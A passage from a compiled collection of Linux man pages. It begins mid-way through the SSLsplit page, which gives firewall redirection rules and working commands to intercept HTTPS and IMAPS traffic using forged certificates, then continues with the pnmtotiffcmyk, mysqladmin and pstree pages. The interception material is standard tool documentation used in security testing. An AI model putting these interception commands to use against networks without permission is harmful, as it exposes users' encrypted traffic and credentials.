port 443 divert-to ::1 port 10443 pass in quick on em0 proto tcp from 192.0.2.0/24 to any
port 80 divert-to 127.0.0.1 port 10080 pass in quick on em0 proto tcp from 192.0.2.0/24 to any
port 443 divert-to 127.0.0.1 port 10443

ipfilter
IPFilter (ipfilter, ipf), available on many systems, including FreeBSD, NetBSD, Linux and Solaris. Note that SSLsplit needs permission to open /dev/ipnat for reading, which by default means that it needs to run under root privileges. Only supports IPv4 due to limitations in the SIOCGNATL ioctl(2) interface. Assuming inbound interface bge0:

rdr bge0 0.0.0.0/0 port 80 -> 127.0.0.1 port 10080 rdr bge0 0.0.0.0/0 port 443 -> 127.0.0.1 port 10443

netfilter
Linux netfilter using the iptables REDIRECT target. Fully supported including IPv6 since Linux v3.8-rc1; on older kernels only supports IPv4 due to limitations in the SO_ORIGINAL_DST getsockopt(2) interface.

iptables -t nat -A PREROUTING -s 192.0.2.0/24
-p tcp –dport 80
-j REDIRECT –to-ports 10080 iptables -t nat -A PREROUTING -s 192.0.2.0/24
-p tcp –dport 443
-j REDIRECT –to-ports 10443 # please contribute a tested ip6tables config

Note that SSLsplit is only able to accept incoming connections if it binds to the correct IP address (e.g. 192.0.2.1) or on all interfaces (0.0.0.0). REDIRECT uses the local interface address of the incoming interface as target IP address, or 127.0.0.1 for locally generated packets.

tproxy
Linux netfilter using the iptables TPROXY target together with routing table magic to allow non-local traffic to originate on local sockets. Fully supported, including IPv6.

ip -f inet6 rule add fwmark 1 lookup 100 ip -f inet6 route add local default dev lo table 100 ip6tables -t mangle -N DIVERT ip6tables -t mangle -A DIVERT -j MARK –set-mark 1 ip6tables -t mangle -A DIVERT -j ACCEPT ip6tables -t mangle -A PREROUTING -p tcp -m socket -j DIVERT ip6tables -t mangle -A PREROUTING -s 2001:db8::/64
-p tcp –dport 80
-j TPROXY –tproxy-mark 0x1/0x1 –on-port 10080 ip6tables -t mangle -A PREROUTING -s 2001:db8::/64
-p tcp –dport 443
-j TPROXY –tproxy-mark 0x1/0x1 –on-port 10443 ip -f inet rule add fwmark 1 lookup 100 ip -f inet route add local default dev lo table 100 iptables -t mangle -N DIVERT iptables -t mangle -A DIVERT -j MARK –set-mark 1 iptables -t mangle -A DIVERT -j ACCEPT iptables -t mangle -A PREROUTING -p tcp -m socket -j DIVERT iptables -t mangle -A PREROUTING -s 192.0.2.0/24
-p tcp –dport 80
-j TPROXY –tproxy-mark 0x1/0x1 –on-port 10080 iptables -t mangle -A PREROUTING -s 192.0.2.0/24
-p tcp –dport 443
-j TPROXY –tproxy-mark 0x1/0x1 –on-port 10443

Note that return path filtering (rp_filter) also needs to be disabled on interfaces which handle TPROXY redirected traffic.

SIGNALS

A running sslsplit accepts SIGINT and SIGTERM for a clean shutdown and SIGUSR1 to re-open the single-file log files (such as -l, -L and -X). The canonical way to rotate or post-process logs is to rename the active log file, send SIGUSR1 to the PID in the PID file given by -p, give SSLsplit some time to flush buffers after closing the old file, and then post-process the renamed log file. Per-connection log files (such as -S and -F) are not re-opened because their filename is specific to the connection.

EXIT STATUS

The sslsplit process will exit with 0 on regular shutdown (SIGINT, SIGTERM), and 128 + signal number on controlled shutdown based on receiving a different signal such as SIGHUP. Exit status in the range 1..127 indicates error conditions.

EXAMPLES

Matching the above NAT engine configuration samples, intercept HTTP and HTTPS over IPv4 and IPv6 using forged certificates with CA private key ca.key and certificate ca.crt, logging connections to connect.log and connection data into separate files under /tmp (add -e nat-engine to select the appropriate engine if multiple engines are available on your system):

sslsplit -k ca.key -c ca.crt -l connect.log -S /tmp \
         https ::1 10443  https 127.0.0.1 10443 \
         http  ::1 10080  http  127.0.0.1 10080

If the Linux netfilter engine is used with the iptables REDIRECT target, it is important to listen to the correct IP address (e.g. 192.0.2.1) or on all interfaces (0.0.0.0), otherwise SSLsplit is not able to accept incoming connections.

Intercepting IMAP/IMAPS using the same settings:

sslsplit -k ca.key -c ca.crt -l connect.log -S /tmp \
         ssl ::1 10993  ssl 127.0.0.1 10993 \
         tcp ::1 10143  tcp 127.0.0.1 10143

A more targeted setup, HTTPS only, using certificate/chain/key files from /path/to/cert.d and statically redirecting to www.example.org instead of querying a NAT engine:

sslsplit -t /path/to/cert.d -l connect.log -S /tmp \
         https ::1       10443 www.example.org 443 \
         https 127.0.0.1 10443 www.example.org 443

The original example, but using plain ssl and tcp proxyspecs to avoid header modifications, and logging to a single PCAP file for post-processing with an external tool. To facilitate log rotation via SIGUSR1, -p is also given, so external log rotation tools or scripts can read the PID from the PID file.

sslsplit -k ca.key -c ca.crt -X log.pcap -p /var/run/sslsplit.pid \
         ssl ::1 10443  ssl 127.0.0.1 10443 \
         tcp ::1 10080  tcp 127.0.0.1 10080

The original example, but using SSL options optimized for speed by disabling compression and selecting only fast cipher cipher suites and using a precomputed private key leaf.key for the forged certificates. Most significant speed increase is gained by choosing fast algorithms and small keysizes for the CA and leaf private keys. Check openssl speed for algorithm performance on your system. Note that clients may not support all algorithms and key sizes. Also, some clients warn their users about cipher suites they consider weak.

sslsplit -Z -s NULL:RC4:AES128:-DHE -K leaf.key \
         -k ca.key -c ca.crt -l connect.log -S /tmp \
         https ::1 10443  https 127.0.0.1 10443 \
         http  ::1 10080  http  127.0.0.1 10080

The original example, but running as a daemon under user sslsplit and writing a PID file:

sslsplit -d -p /var/run/sslsplit.pid -u sslsplit \
         -k ca.key -c ca.crt -l connect.log -S /tmp \
         https ::1 10443  https 127.0.0.1 10443 \
         http  ::1 10080  http  127.0.0.1 10080

To generate a CA private key ca.key and certificate ca.crt using OpenSSL:

cat >x509v3ca.cnf <<'EOF'
[ req ]
distinguished_name = reqdn

[ reqdn ]

[ v3_ca ]
basicConstraints        = CA:TRUE
subjectKeyIdentifier    = hash
authorityKeyIdentifier  = keyid:always,issuer:always
EOF

openssl genrsa -out ca.key 2048
openssl req -new -nodes -x509 -sha256 -out ca.crt -key ca.key \
        -config x509v3ca.cnf -extensions v3_ca \
        -subj '/O=SSLsplit Root CA/CN=SSLsplit Root CA/' \
        -set_serial 0 -days 3650

NOTES

SSLsplit is able to handle a relatively high number of listeners and connections due to a multithreaded, event based architecture based on libevent, taking advantage of platform specific select() replacements such as kqueue. The main thread handles the listeners and signaling, while a number of worker threads equal to twice the number of CPU cores is used for handling the actual connections in separate event bases, including the CPU-intensive SSL/TLS handling.

Care has been taken to choose well-performing data structures for caching certificates and SSL sessions. Logging is implemented in separate disk writer threads to ensure that socket event handling threads don’t have to block on disk I/O. DNS lookups are performed asynchronously. SSLsplit uses SSL session caching on both ends to minimize the amount of full SSL handshakes, but even then, the limiting factor in handling SSL connections are the actual bignum computations.

For high performance and low latency and when running SSLsplit as root or otherwise in a privilege separation mode, avoid using options which require a privileged operation to be invoked through privilege separation for each connection. These are currently all per-connection log types: content log to per-stream file in dir or filespec (-F, -S), content log to per-stream PCAP in dir or filespec (-Y, -y), and generated or all certificates to files in directory (-w, -W). Instead, use the respective single-file variants where available. It is possible, albeit not recommended, to bypass the default privilege separation when run as root by using -u root, thereby bypassing privilege separation entirely.

SEE ALSO

sslsplit.conf(5), openssl(1), ciphers(1), speed(1), pf(4), ipfw(8), iptables(8), ip6tables(8), ip(8), hostapd(8), arpspoof(8), parasite6(8), yersinia(8), https://www.roe.ch/SSLsplit

AUTHORS

SSLsplit was written by Daniel Roethlisberger <[email protected]>. SSLsplit is currently maintained by Daniel Roethlisberger and Soner Tari.

The following individuals have contributed code or documentation, in chronological order of their first contribution: Steve Wills, Landon Fuller, Wayne Jensen, Rory McNamara, Alexander Neumann, Adam Jacob Muller, Richard Poole, Maciej Kotowicz, Eun Soo Park, Christian Groschupp, Alexander Savchenkov, Soner Tari, Petr Vanek, Hilko Bengen, Philip Duldig, Levente Polyak, Nick French, Cihan Komecoglu and Sergey Pinaev.

SSLsplit contains work sponsored by HackerOne.

BUGS

Use Github for submission of bug reports or patches:

https://github.com/droe/sslsplit

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

92 - Linux cli command pnmtotiffcmyk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtotiffcmyk and provides detailed information about the command pnmtotiffcmyk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtotiffcmyk.

.

NAME 🖥️ pnmtotiffcmyk 🖥️

convert a Netpbm image into a CMYK encoded TIFF file

SYNOPSIS

pnmtotiffcmyk [-none|-packbits|-lzw] [-predictor n] [-msb2lsb|-lsb2msb] [-rowsperstrip n] [-lowdotrange n] [-highdotrange n] [-knormal|-konly|-kremove] [[-default] [-theta deg] [-gamma n] [-gammap n] [-negative]

DESCRIPTION

This program is part of Netpbm(1) .

pnmtotiffcmykreads a PNM image as input and produces a CMYK encoded TIFF file as output. It optionally modifies the color balance and black level, and modifies removal of CMY from under K.

Output is to Standard Output, but unlike with most Netpbm programs, Standard Output must be a seekable file. An ordinary file is fine, but you cannot pipe the output to another program. Furthermore, the program replaces any content currently in the file even if it was opened for appending.

pamtotiff generates many other kinds of TIFF files.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtotiffcmyk recognizes the following command line options:

The order of most options is not important, but options for particular conversion algorithms must appear after the algorithm is selected (-default,-negative). If you don’t select an algorithm, pnmtotiffcmyk assumes -default and the appropriate options (-theta,-gamma,-gammap) can appear anywhere.

-none,-packbits,-lzw,-predictor

Tiff files can be compressed. By default, pnmtotiffcmyk uses LZW decompression, but (apparently) some readers cannot read this, so you may want to select a different algorithm (-none,-packbits). For LZW compression, a -predictor value of 2 forces horizontal differencing of scanlines before encoding; a value of 1 forces no differencing.

-msb2lsb,-lsb2msb

These options control fill order (default is -msb2lsb).

-rowsperstrip

This sets the number of rows in an image strip (data in the Tiff files generated by this program is stored in strips - each strip is compressed individually). The default gives a strip size of no more than 8 kb.

-lowdotrange,-highdotrange

These options set tag values that may be useful for printers.

-knormal,-kremove,-konly

These options control the calculation of the CMYK ink levels. They are useful only for testing and debugging the code.

-kremove sets the black (K) levels to zero while leaving the other ink levels as they would be if the black level were normal.

-konly sets all inks to the normal black value.

-default,-negative

These options control what ink levels pnmtotiffcmyk uses to represent each input color.

-negative selects a simple algorithm that generates a color negative. None of the following options apply to this algorithm. The algorithm is included as an example in the source code to help implementors of other conversions.

-default is not necessary, unless you have to countermand a -negative on the same command line.

The default conversion from RGB to CMYK is as follows: The basic values of the 3 pigments are C = 1-R, M = 1-G, Y = 1-B. From this, pnmtotiffcmyk chooses a black (K) level which is the minimum of those three. It then replaces that much of the 3 pigments with the black. I.e. it subtracts K from each of the basic C, M, and Y values.

The options below modify this conversion.

-theta deg

-theta provides a simple correction for any color bias that may occur in the printed image because, in practice, inks do not exactly complement the primary colors. It rotates the colors (before black replacement) by deg degrees in the color wheel. Unless you are trying to produce unusual effects you will need to use small values. Try generating three images at -10, 0 (the default) and 10 degrees and see which has the best color balance.

-gamma n

-gamma applies a gamma correction to the black (K) value described above. Specifically, instead of calculating the K value as min(C,M,Y), pnmtotiffcmyk raises that value (normalised to the range 0 to 1) to the nth power. In practice, this means that a value greater than 1 makes the image lighter and a value less than 1 makes the image darker. The range of allowed values is 0.1 to 10.

-gammap n

This option controls the black replacement.

If you specify -gammap, pnmtotiffcmyk uses the specified gamma value in computing how much ink to remove from the 3 pigments, but still uses the regular gamma value (-gamma option) to generate the actual amount of black ink with which to replace it.

Values of n from 0.01 to 10 are valid.

For example, it may be best to only subtract black from the colored inks in the very darkest regions. In that case, n should be a large value, such as 5.

As a special case, if n is -1, pnmtotiffcmyk does not remove any pigment (but still adds the black ink). This means dark areas are even darker. Furthermore, when printed, dark areas contain a lot of ink which can make high contrast areas, like lettering, appear fuzzy. It’s hard to see what the utility of this is.

SEE ALSO

pamtotiff(1) , tifftopnm(1) , pnm(1)

AUTHOR

Copyright (c) 1999 Andrew Cooke (Jara Software). Released under the GPL with no warranty. See source or COPYRIGHT and LICENCE files in distribution for full details.

Much of the code uses ideas from other Netpbm programs, written by Jef Poskanzer (thanks go to him and libtiff maintainer Sam Leffler). A small section of the code - some of the tiff tag settings - is derived directly from pnmtotiff, by Jef Poskanzer, which, in turn, acknowledges Patrick Naughton with the following text:

Derived by Jef Poskanzer from ras2tif.c, which is:

Copyright (c) 1990 by Sun Microsystems, Inc.

Author: Patrick J. Naughton [email protected]

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation.

This file is provided AS IS with no warranties of any kind. The author shall have no liability with respect to the infringement of copyrights, trade secrets or any patents by this file or any part thereof. In no event will the author be liable for any lost revenue or profits or other special, indirect and consequential damages.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtotiffcmyk.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

93 - Linux cli command mysqladmin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mysqladmin and provides detailed information about the command mysqladmin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mysqladmin.

NAME 🖥️ mysqladmin 🖥️

admin - client for administering a MariaDB server (mysqladmin is now a symlink to mariadb-admin)

SYNOPSIS

mysqladmin [options] command **[command-arg] [**command [command-arg]] …

DESCRIPTION

mysqladmin is a client for performing administrative operations. You can use it to check the server’s configuration and current status, to create and drop databases, and more.

Invoke mysqladmin like this:

shell> mysqladmin [options] command [command-arg] [command [command-arg]] …

mysqladmin supports the following commands. Some of the commands take an argument following the command name.

·

create db_name

Create a new database named db_name.

·

debug

Tell the server to write debug information to the error log.

This also includes information about the Event Scheduler.

·

drop db_name

Delete the database named db_name and all its tables.

·

extended-status

Display the server status variables and their values.

·

flush-all-statistics

Flush all statistics tables.

·

flush-all-status

Flush all status and statistics.

·

flush-binary-log

Flush the binary log.

·

flush-client-statistics

Flush client statistics.

·

flush-engine-log

Flush engine log.

·

flush-error-log

Flush error log.

·

flush-general-log

Flush general query log.

·

flush-hosts

Flush all information in the host cache.

·

flush-index-statistics

Flush index statistics.

·

flush-logs

Flush all logs.

·

flush-privileges

Reload the grant tables (same as reload).

·

flush-relay-log

Flush relay log.

·

flush-slow-log

Flush slow query log.

·

flush-ssl

Flush SSL certificates.

·

flush-status

Clear status variables.

·

flush-table-statistics

Flush table statistics.

·

flush-tables

Flush all tables.

·

flush-threads

Flush the thread cache.

·

flush-user-resources

Flush user resources.

·

kill id,id,…

Kill server threads. If multiple thread ID values are given, there must be no spaces in the list.

·

old-password new-password

This is like the password command but stores the password using the old (pre MySQL 4.1) password-hashing format.

·

password new-password

Set a new password. This changes the password to new-password for the account that you use with mysqladmin for connecting to the server. Thus, the next time you invoke mysqladmin (or any other client program) using the same account, you will need to specify the new password.

If the new-password value contains spaces or other characters that are special to your command interpreter, you need to enclose it within quotes. On Windows, be sure to use double quotes rather than single quotes; single quotes are not stripped from the password, but rather are interpreted as part of the password. For example:

shell> mysqladmin password “my new password”

Caution

Do not use this command used if the server was started with the –skip-grant-tables option. No password change will be applied. This is true even if you precede the password command with flush-privileges on the same command line to re-enable the grant tables because the flush operation occurs after you connect. However, you can use mysqladmin flush-privileges to re-enable the grant table and then use a separate mysqladmin password command to change the password.

·

ping

Check whether the server is alive. The return status from mysqladmin is 0 if the server is running, 1 if it is not. This is 0 even in case of an error such as Access denied, because this means that the server is running but refused the connection, which is different from the server not running.

·

processlist

Show a list of active server threads. This is like the output of the SHOW PROCESSLIST statement. If the –verbose option is given, the output is like that of SHOW FULL PROCESSLIST.

·

reload

Reload the grant tables.

·

refresh

Flush all tables and close and open log files.

·

shutdown

Stop the server.

·

start-all-slaves

Start all slaves.

·

start-slave

Start replication on a slave server.

·

status

Display a short server status message.

·

stop-all-slaves

Stop all slaves.

·

stop-slave

Stop replication on a slave server.

·

variables

Display the server system variables and their values.

·

version

Display version information from the server.

All commands can be shortened to any unique prefix. For example:

shell> mysqladmin proc stat +—-+——-+———–+—-+———+——+——-+——————+ | Id | User | Host | db | Command | Time | State | Info | +—-+——-+———–+—-+———+——+——-+——————+ | 51 | monty | localhost | | Query | 0 | | show processlist | +—-+——-+———–+—-+———+——+——-+——————+ Uptime: 1473624 Threads: 1 Questions: 39487 Slow queries: 0 Opens: 541 Flush tables: 1 Open tables: 19 Queries per second avg: 0.0268

The mysqladmin status command result displays the following values:

·

Uptime

The number of seconds the MariaDB server has been running.

·

Threads

The number of active threads (clients).

·

Questions

The number of questions (queries) from clients since the server was started.

·

Slow queries

The number of queries that have taken more than log_slow_query_time seconds.

·

Opens

The number of tables the server has opened.

·

Flush tables

The number of flush-*, refresh, and reload commands the server has executed.

·

Open tables

The number of tables that currently are open.

·

Memory in use

The amount of memory allocated directly by mysqld. This value is displayed only when MariaDB has been compiled with –with-debug=full.

·

Maximum memory used

The maximum amount of memory allocated directly by mysqld. This value is displayed only when MariaDB has been compiled with –with-debug=full.

If you execute mysqladmin shutdown when connecting to a local server using a Unix socket file, mysqladmin waits until the server’s process ID file has been removed, to ensure that the server has stopped properly.

mysqladmin supports the following options, which can be specified on the command line or in the [mysqladmin] and [client] option file groups.

·

–help, -?

Display help and exit.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–compress, -C

Compress all information sent between the client and the server if both support compression.

·

**–connect-timeout=**timeout

Equivalent to –connect_timeout, see the end of this section.

·

**–count=**N, -c N

The number of iterations to make for repeated command execution if the –sleep option is given.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o,/tmp/mysqladmin.trace'.

·

–debug-check

Check memory and open file usage at exit..

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

–default-auth

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

–force, -f

Do not ask for confirmation for the drop db_name command. With multiple commands, continue even if an error occurs.

·

**–host=**host_name, -h host_name

Connect to the MariaDB server on the given host.

·

–local, -l

Suppress the SQL command(s) from being written to the binary log by using FLUSH LOCAL or enabling sql_log_bin=0 for the session.

·

–no-beep, -b

Suppress the warning beep that is emitted by default for errors such as a failure to connect to the server.

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqladmin prompts for one.

Specifying a password on the command line should be considered insecure.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection or 0 for default to, in order of preference, my.cnf, $MYSQL_TCP_PORT, /etc/services, built-in default (3306). Forces –protocol=tcp when specified on the command line without other connection properties.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–relative, -r

Show the difference between the current and previous values when used with the –sleep option. Currently, this option works only with the extended-status command.

·

–shutdown-timeouttimeout

Equivalent of –shutdown_timeout, see the end of this section.

·

–silent, -s

Exit silently if a connection to the server cannot be established.

·

**–sleep=**delay, -i delay

Execute commands repeatedly, sleeping for delay seconds in between. The –count option determines the number of iterations. If –count is not given, mysqladmin executes commands indefinitely until interrupted.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

**–tls-version=**name,

Accepts a comma-separated list of TLS protocol versions. A TLS protocol version will only be enabled if it is present in this list. All other TLS protocol versions will not be permitted.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

–verbose, -v

Verbose mode. Print more information about what the program does.

·

–version, -V

Display version information and exit.

·

–vertical, -E

Print output vertically. This is similar to –relative, but prints output vertically.

·

–wait[=count], -w[count]

If the connection cannot be established, wait and retry instead of aborting. If a count value is given, it indicates the number of times to retry. The default is one time.

·

–wait-for-all-slaves

Wait for the last binlog event to be sent to all connected slaves before shutting down. This option is off by default.

You can also set the following variables by using **–var_name=**value

·

connect_timeout

The maximum number of seconds before connection timeout. The default value is 43200 (12 hours).

·

shutdown_timeout

The maximum number of seconds to wait for server shutdown. The default value is 3600 (1 hour).

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

94 - Linux cli command pstree

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pstree and provides detailed information about the command pstree, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pstree.

NAME 🖥️ pstree 🖥️

display a tree of processes

SYNOPSIS

pstree [-a,** –arguments**] [-c,** –compact-not**] [-C,** –color attr**] [-g,** –show-pgids**] [-h,** –highlight-all**,** -H** pid**,** –highlight-pid pid**]** [-l,** –long**] [-n,** –numeric-sort**] [-N,** –ns-sort ns**] [-p,** –show-pids**] [-s,** –show-parents**] [-S,** –ns-changes**] [-t,** –thread-names**] [-T,** –hide-threads**] [-u,** –uid-changes**] [-Z,** –security-context**] [-A,** –ascii**,** -G**,** –vt100**,** -U**,** –unicode**] [pid,** user]**
pstree -V,** –version**

DESCRIPTION

pstree shows running processes as a tree. The tree is rooted at either pid or init if pid is omitted. If a user name is specified, all process trees rooted at processes owned by that user are shown.

pstree visually merges identical branches by putting them in square brackets and prefixing them with the repetition count, e.g.

    init-+-getty
         |-getty
         |-getty
         `-getty

becomes

    init---4*[getty]

Child threads of a process are found under the parent process and are shown with the process name in curly braces, e.g.

    icecast2---13*[{icecast2}]

If pstree is called as pstree.x11 then it will prompt the user at the end of the line to press return and will not return until that has happened. This is useful for when pstree is run in a xterminal.

Certain kernel or mount parameters, such as the hidepid option for procfs, will hide information for some processes. In these situations pstree will attempt to build the tree without this information, showing process names as question marks.

OPTIONS

-a
Show command line arguments. If the command line of a process is swapped out, that process is shown in parentheses. -a implicitly disables compaction for processes but not threads.

-A
Use ASCII characters to draw the tree.

-c
Disable compaction of identical subtrees. By default, subtrees are compacted whenever possible.

-C
Color the process name by given attribute. Currently pstree only accepts the value age which colors by process age. Processes newer than 60 seconds are green, newer than an hour yellow and the remaining red.

-g
Show PGIDs. Process Group IDs are shown as decimal numbers in parentheses after each process name. If both PIDs and PGIDs are displayed then PIDs are shown first.

-G
Use VT100 line drawing characters.

-h
Highlight the current process and its ancestors. This is a no-op if the terminal doesn’t support highlighting or if neither the current process nor any of its ancestors are in the subtree being shown.

-H
Like -h, but highlight the specified process instead. Unlike with -h, pstree fails when using -H if highlighting is not available.

-l
Display long lines. By default, lines are truncated to either the COLUMNS environment variable or the display width. If neither of these methods work, the default of 132 columns is used.

-n
Sort processes with the same parent by PID instead of by name. (Numeric sort.)

-N
Show individual trees for each namespace of the type specified. The available types are: ipc, mnt, net, pid, time, user, uts. Regular users don’t have access to other users’ processes information, so the output will be limited.

-p
Show PIDs. PIDs are shown as decimal numbers in parentheses after each process name. -p implicitly disables compaction.

-s
Show parent processes of the specified process.

-S
Show namespaces transitions. Like -N, the output is limited when running as a regular user.

-t
Show full names for threads when available.

-T
Hide threads and only show processes.

-u
Show uid transitions. Whenever the uid of a process differs from the uid of its parent, the new uid is shown in parentheses after the process name.

-U
Use UTF-8 (Unicode) line drawing characters. Under Linux 1.1-54 and above, UTF-8 mode is entered on the console with echo -e ‘%8’ and left with echo -e ‘%@’.

-V
Display version information.

-Z
Show the current security attributes of the process. For SELinux systems this will be the security context.

FILES

/proc
location of the proc file system

BUGS

Some character sets may be incompatible with the VT100 characters.

SEE ALSO

ps(1), top(1), proc(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

95 - Linux cli command xkibitz

